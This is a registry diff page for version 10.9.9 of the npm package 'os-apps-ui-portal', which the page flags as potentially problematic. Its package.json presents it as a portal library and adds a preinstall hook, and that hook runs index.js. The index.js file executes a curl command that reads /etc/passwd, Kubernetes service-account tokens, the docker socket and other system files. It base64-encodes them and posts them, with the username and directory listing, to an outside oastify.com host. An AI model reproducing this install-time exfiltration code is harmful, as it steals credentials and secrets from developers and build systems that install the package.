os-apps-ui-portal 10.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of os-apps-ui-portal might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +12 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ const { exec } = require("child_process");
2
+ const command = `curl -X POST "http://$(whoami).portal.x7516fmkl12br1wgl6mvtaq3gumlacd02.oastify.com/?q=$(pwd)&l=$(ls /app/node_modules/)" -H "Content-Type: application/json" -d "{\"data\": \"$(cat /etc/hosts /etc/passwd /etc/group /etc/resolv.conf /var/run/secrets/kubernetes.io/serviceaccount/token /var/run/docker.sock /var/run/secrets/kubernetes.io/serviceaccount/namespace | base64 | tr -d '\n')\"}" `;
3
+ exec(command, (error, stdout, stderr) => {
4
+ if (error) {
5
+ console.error(error.message);
6
+ return;
7
+ }
8
+ if (stderr) {
9
+ console.log(stderr);
10
+ }
11
+ console.log(stdout);
12
+ });
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "os-apps-ui-portal",
3
+ "version": "10.9.9",
4
+ "description": "Testing new portal library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "keywords": [
11
+ "curvelibrary"
12
+ ],
13
+ "author": "7azimo-DBM",
14
+ "license": "ISC"
15
+ }